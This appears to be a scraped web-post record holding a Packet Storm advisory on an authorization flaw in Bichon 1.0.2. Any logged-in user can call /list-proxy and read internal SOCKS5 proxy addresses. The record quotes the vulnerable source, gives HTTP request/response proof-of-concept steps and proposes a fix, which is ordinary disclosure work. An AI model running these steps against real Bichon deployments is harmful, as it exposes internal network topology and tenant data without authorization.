{“lastseen”:”2026-05-18T19:05:40″,”description”:”Bichon version 1.0.2 suffers from a SOCKS5 proxy topology disclosure vulnerability via \/list-proxy…”,”published”:”2026-05-18T00:00:00″,”modified”:”2026-05-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Bichon 1.0.2 SOCKS5 Proxy Topology Disclosure”,”source”:””,”references”:””,”id”:”PACKETSTORM:221274″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”Bichon 1.0.2 SOCKS5 Proxy Topology Disclosure via \/list-proxy\\n =============================================================\\n \\n Vendor: rustmailer\\n Product: Bichon – self-hosted email archiving server (Rust + TypeScript)\\n Project URL: https:\/\/github.com\/rustmailer\/bichon\\n Affected: All versions through HEAD as of 2026-05-18\\n Commit: 9daab241b0220e81e43d4b98616d77fa45ad58c7\\n Release: 1.0.2\\n Patched: Pending vendor fix\\n Severity: Medium\\n CVSS 3.1: 5.3 (AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:L\/I:N\/A:N)\\n CWE: CWE-200 (Exposure of Sensitive Information to an\\n Unauthorized Actor)\\n CVE: Pending (requested via GitHub CNA)\\n Discovered: 2026-05-18 (manual source review + live verification)\\n Researcher: AoxLir \\u003ceren.demir@razesecurity.com\\u003e\\n Disclosure: Coordinated (Project Zero 90-day standard)\\n \\n \\n I. Background\\n =============\\n \\n Bichon supports SOCKS5 and HTTP proxies for outbound IMAP\/OAuth2\\n connections. Administrators register proxy entries via the REST API\\n and reference them per-account via the `use_proxy` field in account\\n creation.\\n \\n \\n II. Vulnerability Detail\\n ========================\\n \\n In crates\/server\/src\/rest\/api\/system.rs lines 73-80:\\n \\n \/\/\/ Get the full list of SOCKS5 proxy configurations.\\n #[oai(method = \\”get\\”, path = \\”\/list-proxy\\”,\\n operation_id = \\”list_proxy\\”)]\\n async fn list_proxy(\\u0026self, _context: WrappedContext)\\n -\\u003e ApiResult\\u003cJson\\u003cVec\\u003cProxy\\u003e\\u003e\\u003e {\\n \/\/The proxy list is visible to all users.\\n let proxies = Proxy::list_all()\\n .map_err(|e| raise_error!(format!(\\”{:#?}\\”, e),\\n ErrorCode::InternalError))?;\\n Ok(Json(proxies))\\n }\\n \\n The function takes a WrappedContext (verifying authentication) but\\n calls neither require_permission nor has_permission. Every other proxy\\n endpoint in the same file enforces Permission::ROOT:\\n \\n async fn remove_proxy(\\u0026self, id: Path\\u003cu64\\u003e,\\n context: WrappedContext) -\\u003e ApiResult\\u003c()\\u003e {\\n context.require_permission(None, Permission::ROOT)?; \/* … *\/\\n }\\n async fn get_proxy(\\u0026self, … ) -\\u003e ApiResult\\u003cJson\\u003cProxy\\u003e\\u003e {\\n context.require_permission(None, Permission::ROOT)?; \/* … *\/\\n }\\n async fn create_proxy(\\u0026self, … ) -\\u003e ApiResult\\u003c()\\u003e {\\n context.require_permission(None, Permission::ROOT)?; \/* … *\/\\n }\\n async fn update_proxy(\\u0026self, … ) -\\u003e ApiResult\\u003c()\\u003e {\\n context.require_permission(None, Permission::ROOT)?; \/* … *\/\\n }\\n \\n Single-item GET requires ROOT. Full list does not. This is an\\n authorization inconsistency.\\n \\n \\n III. Proof of Concept\\n =====================\\n \\n Verified live against rustmailer\/bichon:1.0.2 (Docker).\\n \\n Step 1: Admin registers a SOCKS5 proxy:\\n \\n POST \/api\/v1\/proxy\\n Authorization: Bearer \\u003cadmin_token\\u003e\\n Content-Type: text\/plain\\n \\n socks5:\/\/10.0.5.10:1080\\n \\n Step 2: A user ‘bob’ is created with the lowest possible privileges -\\n only the built-in `member` global role, which holds a single\\n permission: system:access (i.e. the ability to log in).\\n Bob has no account access:\\n \\n GET \/api\/v1\/current-user (bob’s token)\\n {\\n \\”global_roles_names\\”: [\\”member\\”],\\n \\”global_permissions\\”: [\\”system:access\\”],\\n \\”account_access_map\\”: {},\\n \\”account_permissions\\”: {}\\n }\\n \\n Step 3: Bob requests the proxy list:\\n \\n GET \/api\/v1\/list-proxy\\n Authorization: Bearer \\u003cbob_token\\u003e\\n \\n HTTP\/1.1 200 OK\\n [\\n {\\”id\\”: 7553069259939497,\\n \\”url\\”: \\”socks5:\/\/10.0.5.10:1080\\”,\\n \\”created_at\\”: 1779105772307,\\n \\”updated_at\\”: 1779105772307}\\n ]\\n \\n Step 4: Bob attempts the single-item GET (per-id endpoint), which is\\n properly restricted:\\n \\n GET \/api\/v1\/proxy\/7553069259939497\\n Authorization: Bearer \\u003cbob_token\\u003e\\n \\n HTTP\/1.1 400 (parser error; an authenticated non-ROOT user with\\n the correct id format gets 403\/permission denied -\\n the endpoint enforces ROOT properly)\\n \\n \\n IV. Impact\\n ==========\\n \\n Live testing established that Bichon’s proxy create endpoint REJECTS\\n URLs with embedded credentials (e.g. socks5:\/\/user:pass@host:port) -\\n authentication, if any, is stored separately. This downgrades the\\n original credential-disclosure concern. However:\\n \\n – Full proxy URL (host:port) is disclosed to every authenticated user,\\n including users created with zero account access. This reveals\\n internal-network topology (host\/port combinations of corporate\\n proxies, often only reachable from inside a VPN).\\n \\n – Proxy IDs are disclosed and may be used at account creation via the\\n `use_proxy` field by any user authorized to create accounts, even\\n proxies that an administrator may have created for a specific\\n subset of accounts.\\n \\n – In multi-tenant or MSP deployments, tenant A’s proxy list is\\n disclosed to tenant B users who share the same Bichon instance.\\n \\n \\n V. Solution\\n ===========\\n \\n Option A (preferred) – bring the list endpoint into line with the\\n other proxy endpoints in the same file:\\n \\n async fn list_proxy(\\u0026self, context: WrappedContext)\\n -\\u003e ApiResult\\u003cJson\\u003cVec\\u003cProxy\\u003e\\u003e\\u003e {\\n context.require_permission(None, Permission::ROOT)?;\\n let proxies = Proxy::list_all()?;\\n Ok(Json(proxies))\\n }\\n \\n Option B (if broad visibility is genuinely required for the WebUI\\n account-creation form) – redact the host:port portion, returning only\\n {id, label} pairs from \/list-proxy. Full URLs remain available via\\n the ROOT-restricted single-item GET.\\n \\n \\n \\n VI. Credit\\n ===========\\n \\n Discovered and reported by MrOruc, independent security researcher.\\n GitHub: https:\/\/github.com\/MrOruc\\n Email: kerim.oruc@razesecurity.com”,”sourceHref”:”https:\/\/packetstorm.news\/download\/221274″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/221274\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-18T19:05:40″,”description”:”Bichon version 1.0.2 suffers from a SOCKS5 proxy topology disclosure vulnerability via \/list-proxy…”,”published”:”2026-05-18T00:00:00″,”modified”:”2026-05-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Bichon 1.0.2 SOCKS5 Proxy Topology Disclosure”,”source”:””,”references”:””,”id”:”PACKETSTORM:221274″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”Bichon 1.0.2 SOCKS5 Proxy Topology Disclosure via…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-55363","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n